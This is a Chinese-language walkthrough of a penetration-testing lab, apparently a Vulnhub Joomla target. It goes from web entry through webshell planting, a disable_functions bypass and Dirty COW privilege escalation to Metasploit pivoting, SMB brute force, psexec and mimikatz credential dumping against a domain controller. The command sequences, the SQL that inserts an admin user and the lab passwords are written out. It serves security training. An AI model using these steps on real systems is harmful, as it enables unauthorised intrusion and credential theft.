环境搭建

将环境从官网上下载下来,只需要添加相应的一个VMNET2的网卡,且IP段为192.168.93.0/24

需要进入centos重启一下网卡,至少我是这么做的才找到IP。

本文涉及知识点实操练习:Vulnhub之Joomla  (本节课主要讲解Vulnhub渗透测试实战靶场关于Joomla CMS的综合渗透练习,通过该实验学习渗透测试的信息收集、漏洞扫描与利用、权限提升,最终获取/root下的flag。)

拓扑图

 新建DOC 文档180.png

WEB入口

主机发现

nmap -sn 192.168.124.0/24 

 新建DOC 文档219.png

端口

nmap -sS 192.168.124.16 

 新建DOC 文档369.png

收集到3个端口,暂不做全部扫描。那就先看下网站首页,如下。

 新建DOC 文档402.png

web站点

是一个joomla的web页面,顺手一个administrator放在url后面,看到后台,看到后台,看到后台。我还是比较乐观的人,总想去尝试尝试一两个弱口令。现实总会给我一记响亮的耳光,失败告终。

 新建DOC 文档510.png

只好掏出dirsearch,然后扫描下目录:

 新建DOC 文档535.png

这是以php~结尾的后缀名,应该不会被当成php执行,所以,

 新建DOC 文档568.png

这个时候,就可以连接数据库了,那就找密码进后台。

 新建DOC 文档595.png

难道还是想我爆破?如果让我爆破,那这必然是个弱口令。先去网上子弹(字典),掏出大菠萝(john)就是一顿扫。子弹打完了,发现敌人丝毫不动,那,那宣告失败吧。都说失败是成功的爹。接着换思路,就是在本地搭建一个一模一样的。然后将自己mysql里的password字段复制到目标数据库中去或者添加一个新用户,太懒是原罪。然后,在网上找到直接添加到数据库的方法,在https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn

 新建DOC 文档951.png

改成目标机器上的表名就可以了:

INSERT INTO `am2zu_users`
   (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
    'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');

# 这里就是添加了一个admin2的用户,密码为secret 

 新建DOC 文档1351.png

虽然密码格式不一样,但是依然能进后台。

 新建DOC 文档1373.png

在模板处可以修改网站源代码:Extensions-->Templates,在index.php中插入一句话,保存。

 新建DOC 文档1433.png

 新建DOC 文档1435.png

该亮出尚方宝剑——蚁剑了,致命一击进入内网了。然后就翻车了

 新建DOC 文档1467.png

这,,,原来是被禁用了危险函数,虽然不能执行命令,但是能看到php版本,是php7的。然后发现蚁剑有专门的绕过disable_function的插件,姿势不错,有点狐气。然后针对php7的绕过挨个挨个试。

 新建DOC 文档1572.png

绕过了会弹出一个新的交互式shell界面

 新建DOC 文档1595.png

内网渗透

权限太低,是个www-data的权限。相信经过一番努力使用各种姿势提权,总会绝望的。那就只能是自己没有做好信息收集,找:定时任务、/home、/etc/passwd、网站根目录、/tmp目录。最后在/tmp/mysql/test.txt中看到用户名密码

 新建DOC 文档1729.png

但是并没有在本机器上发现这个 wwwuser 的用户。索性尝试下,又不犯罪。

 新建DOC 文档1770.png

竟然成功了?猜测应该做了转发将http请求转到内网的主机上,有内网就可以继续渗透。

 新建DOC 文档1814.png

而使用ssh连接的主机的网卡,有三个,一个连接外网,一个连接内网。

 新建DOC 文档1850.png

然后接着提权这台外网的主机,很顺利,看样子是有备而来。看了下内核为2.6.32 并且是centos的操作系统,直接使用脏牛提权成功。

 新建DOC 文档1919.png

获取一个msf会话,接着渗透。

 获取msf会话

后渗透

添加路由

meterpreter > run get_local_subnets
meterpreter > run autoroute -s 192.168.93.0/255.255.255.0 

 添加路由

探测内网主机的存活

# 针对windows
use auxiliary/scanner/smb/smb_version 

# linux 
use auxiliary/scanner/discovery/arp_sweep  用这个没有探测出windows主机 

最终所有主机如下

 所有主机

三个windows,两个使用ms17-010,未果。都没能得到会话。

 没能得到会话

啊,这....。最后借鉴了下别人的方法,原来是爆破。字典不够强大,最后还是将密码添加到字典中去了(无可奈何)。假如说我爆破出来了

use auxiliary/scanner/smb/smb_login

set SMBUSER administrator

set PASS_FILE /root/桌面/passlist 

 获取会话

获取会话。目前的情况是windows在内网,添加的路由是把攻击机带入到内网,使用reverse_tcp是连接不上了,只能正向连接。

use exploit/windows/smb/psexec

set payload windows/x64/meterpreter/bind_tcp

set rhosts 192.168.93.30

set smbuser administrator

set smbpass 123qwe!ASD 

然后拿到两个会话,这个exploit需要多尝试几次,才行。

 exploit拿到会话

查看是否在域环境

meterpreter > sysinfo 

 meterpreter > sysinfo

拿下域控

在server2008上发现域控登录后的记录,然后使用 mimikatz 获取到明文域控密码。

load mimikatz

mimikatz_command -f privilege::debug

mimikatz_command -f sekurlsa::logonPasswords 

 新建DOC 文档2833.png

得到域管理员账号密码。由于密码的特殊性,尝试使用wmiexec.py一直没成功,两个!!在linux是特殊符号,表示重新执行上一条命令。然后通过下面方法拿到shell

当前用户为

 当前用户

 用户信息

远程连接

run post/windows/manage/enable_rdp 

proxychains rdesktop 192.168.93.20 

 远程链接


蚁景网安实验室
53 声望45 粉丝

蚁景网安实验室(www.yijinglab.com)-领先的实操型网络安全在线教育平台 真实环境,在线实操学网络安全 ;内容涵盖:系统安全,软件安全,网络安全,Web安全,移动安全,CTF,取证分析,渗透测试,网安意识教育等。